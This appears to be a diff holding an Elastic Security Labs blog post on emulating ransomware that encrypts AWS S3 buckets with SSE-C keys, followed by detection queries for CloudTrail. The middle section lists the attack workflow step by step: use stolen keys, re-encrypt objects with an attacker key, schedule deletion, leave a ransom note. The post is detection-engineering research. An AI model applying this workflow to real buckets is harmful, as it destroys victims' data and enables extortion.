[publication](https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c) by the Halcyon Research Team, which documented the first publicly known case of in-the-wild (ItW) abuse of SSE-C for ransomware behavior. Join us as we dive deeper into this emerging threat and demonstrate how to stay ahead of adversaries. + +We have published a [gist](https://gist.github.com/terrancedejesus/f703a4a37a70d005080950a418422ac9) containing the Terraform code and emulation script referenced in this blog. This content is provided for educational and research purposes only. Please use it responsibly and in accordance with applicable laws and guidelines. Elastic assumes no liability for any unintended consequences or misuse. + +Do enjoy! + +# Understanding AWS S3: Key Security Concepts and Features + +Before we dive directly into emulation and these tactics, techniques, and procedures (TTPs), let’s briefly review what AWS S3 includes. + +S3 is AWS’ common storage service that allows users to store any unstructured or structured data in “buckets”. These buckets are similar to folders that one would find locally on their computer system. The data stored in these buckets are called [objects](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingObjects.html), and each object is uniquely identified by an object key, which functions like a filename. S3 supports many data formats, from JSON to media files and much more, making it ideal for a variety of organizational use cases. + +[Buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingBucket.html) can be [set up](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) to store objects from various AWS S3 services, but they can also be populated manually or programmatically depending on the use case. Additionally, buckets can leverage versioning to maintain multiple versions of objects, which provides resilience against accidental deletions or overwrites. However, versioning is not always enabled by default, leaving data vulnerable to certain types of attacks, such as those involving ransomware or bulk deletions. +[Buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingBucket.html) can be [set up](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) to store objects from various AWS S3 services, but they can also be populated manually or programmatically depending on the use case. Additionally, buckets can leverage versioning to maintain multiple versions of objects, which provides resilience against accidental deletions or overwrites. However, versioning is not always enabled by default, leaving data vulnerable to certain types of attacks, such as those involving ransomware or bulk deletions. + +Access to these buckets depends heavily on their access policies, typically defined during creation. These policies include settings such as disabling public access to prevent unintended exposure of bucket contents. Configuration doesn’t stop there, though; buckets also have their own unique Amazon Resource Name (ARN), which allows further granular access policies to be defined via identity access management (IAM) roles or policies. For example, if user “Alice” needs access to a bucket and its objects, specific permissions such as `s3:GetObject`, must be assigned to their IAM role. That role can either be applied directly to Alice as a permission policy or to an associated group they belong to. + +While these mechanisms seem foolproof, misconfigurations in access controls (e.g., overly permissive bucket policies or access control lists) are a common cause of security incidents. For example, as of this writing, approximately 325.8k buckets are publicly available according to [buckets.grayhatwarfare.com](http://buckets.grayhatwarfare.com). Elastic Security Labs also observed that 30% of failed AWS posture checks were connected to S3 in the [2024 Elastic Global Threat Report](https://www.elastic.co/resources/security/report/global-threat-report). + +**Server-Side Encryption in S3** +S3 provides [multiple encryption options](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html) for securing data at rest. These include: + +* [SSE-S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingServerSideEncryption.html): Encryption keys are fully managed by AWS. +* [SSE-KMS](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingKMSEncryption.html): Keys are managed through AWS Key Management Service (KMS), allowing for more custom key policies and access control — see how these are [implemented in Elastic](https://www.elastic.co/blog/encryption-at-rest-elastic-cloud-aws-kms). +* [SSE-C](https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html): Customers provide their own encryption keys for added control. This option is often used for compliance or specific security requirements but introduces additional operational overhead, such as securely managing and storing keys. Importantly, AWS does not store SSE-C keys; instead, a key’s HMAC (hash-based message authentication code) is logged for verification purposes. + +In the case of SSE-C, mismanagement of encryption keys or intentional abuse (e.g., ransomware) can render data permanently inaccessible. + +**Lifecycle Policies** + +S3 buckets can also utilize [lifecycle policies](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html), which automate actions such as transitioning objects to cheaper storage classes (e.g., Glacier) or deleting objects after a specified time. While these policies are typically used for cost optimization, they can be exploited by attackers to schedule the deletion of critical data, increasing pressure during a ransom incident. + +**Storage Classes** + +Amazon S3 provides multiple [storage classes](https://docs.aws.amazon.com/AmazonS3/latest/userguide/storage-class-intro.html), each designed for different access patterns and frequency needs. While storage classes are typically chosen for cost optimization, understanding them is crucial when considering how encryption and security interact with data storage. + +For example, S3 Standard and Intelligent-Tiering ensure frequent access with minimal latency, making them suitable for live applications. On the other hand, archival classes like Glacier Flexible Retrieval and Deep Archive introduce delays before data can be accessed, which can complicate incident response in security scenarios. + +This becomes particularly relevant when encryption is introduced. Server-Side Encryption (SSE) works across all storage classes, but SSE-C (Customer-Provided Keys) shifts the responsibility of key management to the user or adversary. Unlike AWS-managed encryption (SSE-S3, SSE-KMS), SSE-C requires that every retrieval operation supplies the original encryption key — and if that key is lost or not given by an adversary, the data is permanently unrecoverable. + +With this understanding, a critical question arises about the implications of SSE-C abuse observed in the wild: What happens when an attacker gains access to publicly exposed or misconfigured S3 buckets and has control over both the storage policy and encryption keys? + +# Thus Begins: SSE-C Abuse for Ransom Operations + +In the following section, we will share a hands-on approach to emulating this behavior in our sandbox AWS environment by completing the following: + +1. Deploy vulnerable infrastructure via Infrastructure-as-Code (IaC) provider Terraform +2. Explore how to craft SSE-C requests in Python +3. Detonate a custom script to emulate the ransom behavior described in the Halcyon blog + +## Pre-requisites + +This article is about recreating a specific scenario for detection engineering. If this is your goal, the following needs to be established first. + +* [Terraform](https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli) must be installed locally +* Python 3.9+ must also be installed locally to be used for the virtual environment and to run an emulation script +* [AWS CLI](https://aws.amazon.com/cli/) profile must be set up with administrative privileges to be used by Terraform during infrastructure deployment + +# Deploying Vulnerable Infrastructure + +For our whitebox emulation, it is important to replicate an S3 configuration that an organization might have in a real-world scenario. Below is a summary of the infrastructure deployed: + +* **Region**: us-east-1 (default deployment region) +* **S3 Bucket**: A uniquely named payroll data bucket that contains sensitive data and allows adversary-controlled encryption +* **Bucket Ownership Controls**: Enforces "BucketOwnerEnforced" to prevent ACL-based permissions +* **Public Access Restrictions**: Public access is fully blocked to prevent accidental exposure +* **IAM User**: A compromised adversary-controlled IAM user with excessive S3 permissions;no login profile is assigned, as access key credentials are used programmatically elsewhere for automated tasks +* **IAM Policy**: At both bucket and object levels, adversaries have authorization to: + * `s3:GetObject` + * `s3:PutObject` + * `s3:DeleteObject` + * `s3:PutLifecycleConfiguration` + * `s3:ListObjects` + * `s3:ListBucket` +* Applied at both bucket and object levels +* **IAM Access Keys**: Access keys are generated for the adversary user, allowing programmatic access +* **Dummy Data**: Simulated sensitive data (`customer_data.csv`) is uploaded to the bucket + +Understanding the infrastructure is critical for assessing how this type of attack unfolds. The Halcyon blog describes the attack methodology but provides little detail on the specific AWS configuration of the affected organizations. These details are essential for determining the feasibility of such an attack and the steps required for successful execution. + +## Bucket Accessibility and Exposure + +For an attack of this nature to occur, an adversary must gain access to an S3 bucket through one of two primary methods: + +**Publicly Accessible Buckets**: If a bucket is misconfigured with a public access policy, an adversary can directly interact with it, provided the bucket’s permission policy allows actions such as *`s3:PutObject`*, `s3:DeleteObject`, or `s3:PutLifecycleConfiguration`. These permissions are often mistakenly assigned using a wildcard (\*) principal, meaning anyone can execute these operations. + +**Compromised Credentials**: If an attacker obtains AWS credentials (via credential leaks, phishing, or malware), they can authenticate as a legitimate IAM user and interact with S3 as if they were the intended account owner. + +In our emulation, we assume the bucket is not public, meaning the attack relies on compromised credentials. This requires the adversary to have obtained valid AWS access keys and to have performed cloud infrastructure discovery to identify accessible S3 buckets. This is commonly done using AWS API calls, such as `s3:ListAllMyBuckets`, `s3:ListBuckets`, or `s3:ListObjects`, which reveal buckets and their contents in specific regions. + +**Required IAM Permissions for Attack Execution:** To encrypt files using SSE-C and enforce a deletion policy successfully, the adversary must have appropriate IAM permissions. In our emulation, we configured explicit permissions for the compromised IAM user, but in a real-world scenario, multiple permission models could allow this attack: + +* **Custom Overly-Permissive Policies**: Organizations may unknowingly grant broad S3 permissions without strict constraints. +* **AWS-Managed Policies:** The adversary may have obtained credentials associated with a user or role that has `AmazonS3FullAccess` or `AdministratorAccess`. +* **Partial Object-Level Permissions**: If the IAM user had *`AllObjectActions`*, this would only allow object-level actions but would not grant lifecycle policy modifications or bucket listing, which are necessary to retrieve objects and then iterate them to encrypt and overwrite. + +The Halcyon blog does not specify which permissions were abused, but our whitebox emulation ensures that the minimum necessary permissions are in place for the attack to function as described. + +**The Role of the Compromised IAM User** +Another critical factor is the type of IAM user whose credentials were compromised. In AWS, an adversary does not necessarily need credentials for a user that has an interactive login profile. Many IAM users are created exclusively for programmatic access and do not require an AWS Management Console password or Multi-Factor Authentication (MFA), both of which could serve as additional security blockers. + +This means that if the stolen credentials belonging to an IAM user are used for automation or service integration, the attacker would have an easier time executing API requests without additional authentication challenges. + +While the Halcyon blog effectively documents the technique used in this attack, it does not include details about the victim's underlying AWS configuration. Understanding the infrastructure behind the attacks — such as bucket access, IAM permissions, and user roles — is essential to assessing how these ransom operations unfold in practice. Since these details are not provided, we must make informed assumptions to better understand the conditions that allowed the attack to succeed. + +Our emulation is designed to replicate the minimum necessary conditions for this type of attack, ensuring a realistic assessment of defensive strategies and threat detection capabilities. By exploring the technical aspects of the infrastructure, we can provide deeper insights into potential mitigations and how organizations can proactively defend against similar threats. + +## Setting Up Infrastructure + +For our infrastructure deployment, we utilize Terraform as our IaC framework. To keep this publication streamlined, we have stored both the Terraform configuration and the atomic emulation script in a downloadable [gist](https://gist.github.com/terrancedejesus/f703a4a37a70d005080950a418422ac9) for easy access. Below is the expected local file structure once these files are downloaded. + +![Necessary folder structure when downloading gist](/assets/images/emulating-aws-s3-sse-c/image2.png) + +After setting up the required files locally, you can create a Python virtual environment for this scenario and install the necessary dependencies. Once the environment is configured, the following command will initialize Terraform and deploy the infrastructure: + +Command: `python3 s3\_sse\_c\_ransom.py deploy` + +![Expected console output after terraform initialized and deployed](/assets/images/emulating-aws-s3-sse-c/image7.png) + +Once deployment is complete, the required AWS infrastructure will be in place to proceed with the emulation and execution of the attack. It’s important to note that public access is blocked, and the IAM policy is only applied to the dynamically generated IAM user for security reasons. However, we strongly recommend tearing down the infrastructure once testing is complete or after capturing the necessary data. + +If you happen to log in to your AWS console or use the CLI, you can verify that the bucket in the `us-east-1` region exists and contains `customer_data.csv,` which, when downloaded, will be in plaintext. You will also note that no “ransom.note” exists either. + +![Example of infrastructure deployed with unencrypted customer data in our S3 bucket](/assets/images/emulating-aws-s3-sse-c/image6.png) + +![Another example of infrastructure deployed with no ransom.txt file yet](/assets/images/emulating-aws-s3-sse-c/image4.png) + +## Explore How to Craft S3 SSE-C Requests in Python + +Before executing the atomic emulation, it is important to explore the underlying tradecraft that enables an adversary to successfully carry out this attack ItW. + +For those familiar with AWS, S3 operations — such as accessing buckets, listing objects, or encrypting data — are typically straightforward when using the AWS SDKs or AWS CLI. These tools abstract much of the complexity, allowing users to execute operations without needing a deep understanding of the underlying API mechanics. This also lowers the knowledge barrier for an adversary attempting to abuse these functionalities. + +However, the Halcyon blog notes a critical technical detail about the attack execution: + +“*The attacker initiates the encryption process by calling the x-amz-server-side-encryption-customer-algorithm header, utilizing an AES-256 encryption key they generate and store locally.*” + +The key distinction here is the use of the `x-amz-server-side-encryption-customer-algorithm` header, which is required for encryption operations in this attack. According to AWS [documentation](https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html#ssec-and-presignedurl), this SSE-C header is typically specified when creating pre-signed URLs and leveraging SSE-C in S3. This means that the attacker not only encrypts the victim's data but does so in a way that AWS itself does not store the encryption key, rendering recovery impossible without the attacker's cooperation. + +### Pre-Signed URLs and Their Role in SSE-C Abuse + +**What are pre-signed URLs?** +[Pre-signed URLs](https://docs.aws.amazon.com/AmazonS3/latest/userguide/using-presigned-url.html) are signed API requests that allow users to perform specific S3 operations for a limited time. These URLs are commonly used to securely share objects without exposing AWS credentials. A pre-signed URL grants temporary access to an S3 object and can be accessed through a browser or used programmatically in API requests. + +In a typical AWS environment, users leverage SDKs or CLI wrappers for pre-signed URLs. However, when using SSE-C, AWS requires additional headers for encryption or decryption. + +**SSE-C and Required HTTP Headers** +When making SSE-C requests — either via the AWS SDK or direct S3 REST API calls — the following headers must be included: + +* **x-amz-server-side​-encryption​-customer-algorithm**: Specify the encryption algorithm, but must be AES256 (Noted in Halcyon’s report) +* **x-amz-server-side​-encryption​-customer-key**: Provides a 256-bit, base64-encoded encryption key for S3 to use to encrypt or decrypt your data +* **x-amz-server-side​-encryption​-customer-key-MD5**: Provides a base64-encoded 128-bit MD5 digest of the encryption key; S3 uses this header for a message integrity check to ensure that the encryption key was transmitted without error or tampering + +When looking for detection opportunities, these details are crucial. + +**AWS Signature Version 4 (SigV4) and Its Role** + +Requests to S3 are either authenticated or anonymous. Since SSE-C encryption with pre-signed URLs requires [authentication](https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html#signing-request-intro), all requests must be cryptographically signed to prove their legitimacy. This is where AWS Signature Version 4 (SigV4) comes in. + +AWS SigV4 is an authentication mechanism that ensures API requests to AWS services are signed and verified. This is particularly important for SSE-C operations, as modifying objects in S3 requires authenticated API calls. + +For this attack, each encryption request must be signed by: + +1. Generating a cryptographic signature using AWS SigV4 +2. Including the signature in the request headers +3. Attaching the necessary SSE-C encryption headers +4. Sending the request to S3 to overwrite the object with the encrypted version + +Without proper SigV4 signing, AWS would reject these requests. Attacks like the one described by Halcyon rely on compromised credentials, and we know that because the requests were not rejected in our testing. It also suggests that adversaries know they can abuse AWS S3 misconfigurations like improper signing requirements and understand the intricacies of buckets and their respect object access controls.This reinforces the assumption that the attack relied on compromised AWS credentials rather than an exposed, publicly accessible S3 bucket and that the adversaries were skilled enough to understand the nuances with not only S3 buckets and objects but also authentication and encryption in AWS. + +# Detonating our Atomic Emulation + +Our atomic emulation will use the “compromised” credentials of the IAM user with no login profile who has a permission policy attached that allows several S3 actions to our target bucket. As a reminder, the infrastructure and environment we are conducting this in was deployed from the “Setting Up Infrastructure” section referencing our shared gist. + +Below is a step-by-step workflow of the emulation. + +1. Load stolen AWS credentials (Retrieved from environment variables) +2. Establish S3 client with compromised credentials +3. Generate S3 endpoint URL (Construct the bucket’s URL) +4. Enumerate S3 objects → s3:ListObjectsV2 (Retrieve object list) +5. Generate AES-256 encryption key (Locally generated) +6. Start Loop (For each object in bucket) + 1. Generate GET request & sign with AWS SigV4 (authenticate request) + 2. Retrieve object from S3 → s3:GetObject (fetch unencrypted data) + 3. Generate PUT request & sign with AWS SigV4 (attach SSE-C headers) + 4. Encrypt & overwrite object in S3 → s3:PutObject (encrypt with SSE-C) +7. End loop +8. Apply 7-Day deletion policy → s3:PutLifecycleConfiguration (time-restricted data destruction) +9. Upload ransom note to S3 → s3:PutObject (Extortion message left for victim) + +Below is a visual representation of this emulation workflow: + +![Visual representation of emulation workflow](/assets/images/emulating-aws-s3-sse-c/image10.png) + +In our Python script, we have intentionally added prompts that require user interaction to confirm they agree to not abuse this script. Another prompt generated during detonation that stalls execution for the user to give time for AWS investigation if necessary before deleting the S3 objects. Since SSE-C is used, the objects are then encrypted with a key the terraform does not have acces to and thus would fail. + +Command: `python s3\_sse\_c\_ransom.py detonate` + +After detonation, the objects in our S3 bucket will be encrypted with SSE-C, a ransom note will have been uploaded, and an expiration lifecycle will have been added. + +![Expected console output when detonating SSE-C ransom emulation](/assets/images/emulating-aws-s3-sse-c/image3.png) + +![Expected artifacts in S3 bucket after detonating SSE-C ransom emulation](/assets/images/emulating-aws-s3-sse-c/image5.png) + +If you try to access the `customer_data.csv` object, AWS will reject the request because it was stored using server-side encryption. To retrieve the object, a signed request that includes the correct AES-256 encryption key is required. + +![Expected error when retrieving objects from S3 bucket after SSE-C encryption](/assets/images/emulating-aws-s3-sse-c/image1.png) + +# Cleanup + +Cleanup for this emulation is relatively simple. If you choose to keep the S3 objects, start with Step 1, otherwise go straight to step 5\. + +1. Go to `us-east-1` region +2. navigate to S3 +3. locate the `s3-sse-c-ransomware-payroll-XX bucket` +4. remove all objects +5. Command: `python s3\_sse\_c\_ransom.py cleanup` + +Once completed, everything deployed initially will be removed. + +# Detection and Hunting Strategies + +After our atomic emulation, it’s critical to share how we can effectively detect this ransom behavior based on the API event logs provided by AWS’ CloudTrail. Note that we will be leveraging [Elastic Stack](https://www.elastic.co/elastic-stack) for data ingestion and initial query development; however, the query logic and context should be translatable to [your SIEM of choice](https://www.elastic.co/security/siem). It is also important to note that data events for S3 in your CloudTrail configuration should be set to “Log all events.” + +## Unusual AWS S3 Object Encryption with SSE-C + +The goal of this detection strategy is to identify PutObject requests that leverage SSE-C, as customer-provided encryption keys can be a strong indicator of anomalous activity — especially if an organization primarily uses AWS-managed encryption through KMS (SSE-KMS) or S3's native encryption (SSE-S3). + +In our emulation, `PutObject` requests were configured with the `x-amz-server-side-encryption-customer-algorithm` header set to `AES256`, signaling to AWS that customer-provided keys were used for encryption (SSE-C). + +Fortunately, AWS CloudTrail logs these encryption details within request parameters, allowing security teams to detect unusual SSE-C usage. Key CloudTrail attributes to monitor include: + +* *SignatureVersion*: SigV4 → Signals that this request was signed +* *SSEApplied: SSE\_C* → Signals that server-side customer key encryption was used +* *bucketName: s3-sse-c-ransomware-payroll-96* → Signals which bucket this happened to +* *x-amz-server-side-encryption-customer-algorithm: AES256* → Signals which algorithm was used for the customer encryption key +* *key: customer\_data.csv* → Indicates the name of the object this was applied to + +![Partial Elastic document from CloudTrail ingestion showing SSE-C request from emulation](/assets/images/emulating-aws-s3-sse-c/image9.png) + +With these details we can already craft a threat detection query that would match these events and ultimately the threat reported in the original Halcyon blog. + +| event.dataset: "aws.cloudtrail" and event.provider: "s3.amazonaws.com" and event.action: "PutObject" and event.outcome: "success" and aws.cloudtrail.flattened.request\_parameters.x-amz-server-side-encryption-customer-algorithm: "AES256" and aws.cloudtrail.flattened.additional\_eventdata.SSEApplied: "SSE\_C" | +| :---- | + +While this detection is broad, organizations should tailor it to their environment by asking: + +* Do we expect pre-signed URLs with SigV4 for S3 bucket or object operations? +* Do we expect SSE-C to be used for *PutObject* operations in S3 or this specific bucket? + +**Reducing False-Positives With New Term Rule Types** +To minimize false positives (FPs), we can leverage Elastic’s [New Terms rule type](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule), which helps detect first-time occurrences of suspicious activity. Instead of alerting on every match, we track unique combinations of IAM users and affected S3 buckets, only generating an alert when this behavior is observed for the first time within a set period. Some of the unique combinations we watch for are: + +* Unique IAM users (ARNs) performing SSE-C encryption in S3. +* Specific buckets where SSE-C is applied. + +These alerts only trigger if this activity has been observed for the first time in the last 14 days. + +This adaptive approach ensures that legitimate use cases are learned over time, preventing repeated alerts on expected operations. At the same time, it flags anomalous first-time occurrences of SSE-C in S3, aiding in early threat detection. As needed, rule exceptions can be added for specific user identity ARNs, buckets, objects, or even source IPs to refine detection logic. By incorporating historical context and behavioral baselines, this method enhances signal fidelity, improving both the effectiveness of detections and the actionability of alerts. + +**Rule References** + +[Unusual AWS S3 Object Encryption with SSE-C](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_unusual_object_encryption_with_sse_c.toml) +[Excessive AWS S3 Object Encryption with SSE-C](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_excessive_object_encryption_with_sse_c.toml) + +# Conclusion + +We sincerely appreciate you taking the time to read this publication and, if you did, for trying out the emulation yourself. Whitebox testing plays a crucial role in cloud security, enabling us to replicate real-world threats, analyze their behavioral patterns, and develop effective detection strategies. With cloud-based attacks becoming increasingly prevalent, it is essential to understand the tooling behind adversary tactics and to share research findings with the broader security community. + +If you're interested in exploring our AWS detection ruleset, you can find it here: [Elastic AWS Detection Rules](https://github.com/elastic/detection-rules/tree/main/rules/integrations/aws). We also welcome [contributions](https://github.com/elastic/detection-rules/tree/main?tab=readme-ov-file#how-to-contribute) to enhance our ruleset—your efforts help strengthen collective defenses, and we greatly appreciate them! + +We encourage anyone with interest to review Halcyon’s publication and thank them ahead of time for sharing their research! + +Until next time. + +# Important References: + +[Halcyon Research Blog on SSE-C ItW](https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c) +[Elastic Emulation Code for SSE-C in AWS](https://gist.github.com/terrancedejesus/f703a4a37a70d005080950a418422ac9) +[Elastic Pre-built AWS Threat Detection Ruleset](https://github.com/elastic/detection-rules/tree/main/rules/integrations/aws) +[Elastic Pre-built Detection Rules Repository](https://github.com/elastic/detection-rules) +Rule: [Unusual AWS S3 Object Encryption with SSE-C](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_unusual_object_encryption_with_sse_c.toml) +Rule: [Excessive AWS S3 Object Encryption with SSE-C](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_excessive_object_encryption_with_sse_c.toml) diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/exploring_aws_sts_assumeroot.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/exploring_aws_sts_assumeroot.encoded.md index 9a58b40eb76a0..87bda943c5437 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/exploring_aws_sts_assumeroot.encoded.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/exploring_aws_sts_assumeroot.encoded.md @@ -1 +1 @@ -e91129c7bd41f6922d92deffde7be391a255542d23e10fe926a23695a79768491b046273e1d7bcf44c15f08012817c55fc7acb15a6b90f4081b2951a53ae4d930dbf8ee8b4aa67f0f14326a6744dcc8e5e5dc40edba7912de5e857f7acd0159d81b662ce14fb68a4bf594b16c45fcfa5bbf3dc7b94246f6f235a24d124ed7612058cd0e05fe43bcd2ad181f52a40f9adc14298cd43be9268fe70e2e7025eba348cb10d406bb015b23ac7816b688a6fbc4a865d23d661da2970dd4b6c385353fa4826a63fcf370f512b25ec4f360db0e7453600ea7b1118018563852463729960c2767f90f8f55be5e064c93c1616431303cd72e66c544040ea2ef57da91b366092d9e9582998fb1d474066de8d502899e733a8ba8bcf869b1b7df48f56196c6504fc689d1e76a8f0345108f4dec0e5073d819e1ee3ea59fee24076c3cd6a3cdbe16b38769fcbaa0092bc9325d2aa1377b5cb6bfc8acca9b80bddb893639fa5e9f09eda22799f1933510523bd46392bc990c14c7b56ab26ff503bd5c5d518eb9046faf2f94f3758479dc6f07d6711ffddd7429c79574afb91b75969fb1666ed015fbda4c990eee1ea1ce35077029d37b98bdb640534004fc2ca6ae394ecea738607973bb98c9c5f401eafd3c5b21fc8fadc5476833f780b731dbb5e7df319e334eebb996631366528fb0f710136ed0e071399a934e2845e18be462ef3f776f2a13c214786d64aa844a2713dd7126730a57ec3acbf39317f4a5436f92a90eb0d67021e8c2206c6686f80389c16bf5fcd5e996d7e805f8638f3879e20812fefea58be7e9ab85b5e8124bbb75509754900bbd387f71237bb073315f5240f2ff5bc20ec64058e6d89a6be273eb6ccf46b94cb5b7ec64b36de027dbb16a03355772d8c76bb433681e73167bc23d78190ae254c5356d5e45f7fc0794e036637218647a5e6744866dddd2ac6ea950e362d6ca449ab67f64b302839a008e1335f7d2af5ce9b2865fcfc2f030beae43d2d9015786274a9afc7ae11f213452b6a5d7e760177e0f27bad9214ff31b38089c074903f895b8e40b9280f1c41f4ee9ba6225ae835cbebfe13cd3aa806540fd2bf39ef2ca2bb13f06d3641ddc3c0af2e8a3a5aee0d75b4eea4e51c1e3cdbc0cd26f7c771a77d70edd59a359e96e82ce03edb0d531680a5fbfecad7c6fc8b5a3e5750d5e324107722ab2306bc78de9906f9b54cec18395f681767257ebb689299eb17c9516db1adb57f69a6b3f6f362fadb7d8bfcf22ff263896861c9ac7f3f85704a0e4654888e6d7af1dfb18a521670b3eaa2b3b164c579843d1475b9108029e2c58ff009778845eeb02689784ddd1458ec996fc0099599c496af6e9ebb4de922932438fe65711d311dd8e70621884eaec132d88c1bc2bc1fc03f7a8a8fd5f312cfa1052fc1d6d96aa01e304157ef4cb8be53a143f278af56c8f211c51740d4169de1f622855d1a3ee6f94ef2902a0918f77574fc02fe4cf2cbe28e84b596a100769993295c2715d80c6e1b3c69e8835281da53caa063e2aab300a84aa97ae9423e8ea3fb77e82b723ce2a17a352903a32c37ec63ae766629c470a6fc14315638fa924a6a70eedad857b002d85717770408b8c58caa62a2a56e47e8abe2ad77c8eb32bc8420460394bc16e655a893d97c4e6497108b3d7cbf0c205491b3576906817342635d310d4006ab3002f7062b78bbb7b4750170062e8941e29107ecabba363b7ecf7e02e30e47fdf723e30c84a39fb2a72cc59ec0116c8ccbf4f91d6fc6b5d255065b7ec64b36de027dbb16a03355772d8ccc6c92a8488aa09f311939dd39020400a8e876dce97e17902e8d92bb96e07b9e660cb9aa1814fb9ca39445ec3242c4a0a75d0c89f379e6053810777916ff19588e040ba7f02a98c7f731d25b587fc9408a4981640cf6bd799a636e1858971bd10a1b0c64f7f687805a5cd937a066ffbdbf090a66bcfd3e1a7055a3e6637bbd100190a71779861c52e6e49d6f2bda1202e894aa7618119d77e213a9d20ddaaed458a9f982b497fb13ca88edf41ad0fcad82c9a1852f37c764e7cfd0c2b5817e1b4c8af3de8c2a601577f6135d2c9f4932e67abeca2d33a095da32d9ee5ebfe3c0b2e4bc36b18d67f73cfb4ffe05140a720651a38252abccbef9b1fbaaa54807b3b426a473371d222f4928aeaef647c88313b05a4ed6a5e993f17806df8da4976a493f8887f09785180c1cc30ed06472b07c21bda4bcbbb8d03e4280527d712848425ea2a20693cfd1e511a94ce4c0a4f69dc8e2d7c22ebe60d3736dfc56ac1c0d4a3fd715340070d4d22f08eedd1046bc289d32b47edbaf0167b3276408228fa13b6ea9ec10b1e7efff23ab3561fac4eaf83aeb704331ca3977d436641f3073ee84f0cf940813f2a5640d83348d7e3c3e1df5c941d2c837b73c50dbf208be957cd2bcb935dd4ebfd216cdf2da818ed0a291b4e2737cd05371db7c2636d71914a3b1f2cd71dfff38ead03f8e01bca91f9db8e31ef3753c00f8318d18e4c16590685e7b9f2ee27f983a0dfbd4b644240f95f3b560fe411e72cce3bc189a950f282cdc485499c225485876a1e0e1e00ff8fc981e5a4532515c0a7d194b82f2a6979a2f3d9d3a0a45be36d9198d57b43e981f5b3d2f3bccaf48d4b7ce0667309b0d01db41b386e69101a913ce265f6af2a1fee915755a3b45eb81bc876fa64e3ad49d7cffa2a248c1a8ec30efdb09b63f2a6f7afe614611abeb9471efa26b3c255b7fac8b688f6be7beab9c7b5ae893348b04e9fbdb76f43396ab741c054570c83d5b9a987a61ecce73eb987227e1dbd627327a34b4b054cfaa8aebcf6ac8f81756e23567ecf3b040c4fc0a8c28eec10a6346ad0c2557d8fa3faaa0a3c0153abd8f093045225ec704e08a28ccabe61ed2b18ce9ea8adecfc9f7fc66ad0986dab0b7dab6c264d8c23471c90cb39fafcf22e2a73f64218c2ae2f2395f510ad795d80ae6cad7a6f10b36405190bf0e7a6130f2541b910bb2b3246ffaeedf58050e6d093b31d8585f5f615303ffdd4fc5e7c365b0f13204fa134c8fcce5f012ae58eda919ea132061d27aa165ef18be0ecd5817171ec2e8f100b374562d7864b89923a37256c6ce2fe7c1b99e9adc0017b30110876f5a28010edf6f509714bbe47396a82d5474951d37461d3b44980e2816f687ce2c64cebe3c74b8fe35f5f277c11ddd549bfec8676746dbd25f2c3811c7e9e9485049c3443d7a38cb4449b6541fa116651a7461330408fb918626749e25daa681200b80881a2403ce1160b8d3a476f335986b7750288fcb8148f34bed653969c4b041b65bf972c8bc4111586df3e55a48f8b165fb76e15557037c2a84ce349affd2bcb935dd4ebfd216cdf2da818ed0a210747e809bc137b662174b7ed7c5bee6ab81ba83dce8dcfb860acedfc4827aef707b6435327a696b490cbfdadf0c6ccb0ccebc2bee605f031c5fce57567dac168e964cd1e7ff680b780c39da40f4eb200f50594dd3f8695f107d7dc2105d05eeda4f7c3c9ed14e334a0a605fad24f1469ccb2f63e12735279415e12439ad1b0bb8e9ead1390f35739d2f8ff1695a630e5215bc2e19485f62604dcaa544df835238eac98bd88747673d522e80aad33321bdbba7b4b3609ec1057a06f6c65849a9a43e09b0c069fec66592edc4d72051bc47e7e21075699a9a2e3146aaff63d9d7634c46d74143b9b20f92efded857636292a8e91768a345ca91dc6ea0b42e254d872426c8321b553f9b263c6b3edc2e8218e83bdb30a2d6c994fcfe6c4ba0641b82bc78bfae7af9b784692e64a4996cfa96c03f0557a8864839ab04eae646c6e24efbcfa239c3955801f2f15993f8873b6a9051c00015cbd2d29f07676c9c337af55b25c9f9042595babb7a535a45a17a68cbf32c54b849b9bdea46331bf702493e208c92ffb26f89fb0c02c4cdda7dc7cdec739682c0a33959b507305b378e8968bffc955c73a1db538bb09475db2773d36ee850ec47e614f354d8bf1d1ecf2ba894e258c0af6cafe6a91e21dd26bcf0775cbdca0749562e9110d88fcd44319d09d5f3eadbe9874d1a32dfacdeb35e8adceb8e9a609e68398ef872f708b03b56b5c19df61aa1730fc91e49f32f975b98681619114ffa8f997774a079412c4b1460bc538401ab5912e731b333a12b9b8aaecbfbc9e36664d088efdbf2ee534b95a4d2ca6f95ead54c6bf3fcdd668824940094eb04415fb70c71934da2d2c19d30f5f1121a8c12ceb9b25f086e1a3fd97a96327ece64c6906838a5d67286c4142bf7556a4cb6e864d254cb3b717590086b8d2b85f86debc67d50f990df09748c35d2144e1d5e8ff97427dca7819d04d979d621f16984866ce8ce8466270c7bdb401df21341af42bc53c832c6ad225fb15528b848a11aaeac4507d46cd5c73281b1d02e07f5933ae5497150a440b5a9aa746d6d6ea2fc571f6bdc0850c4ff4cae96ad99d8cadc4de88a5cb22d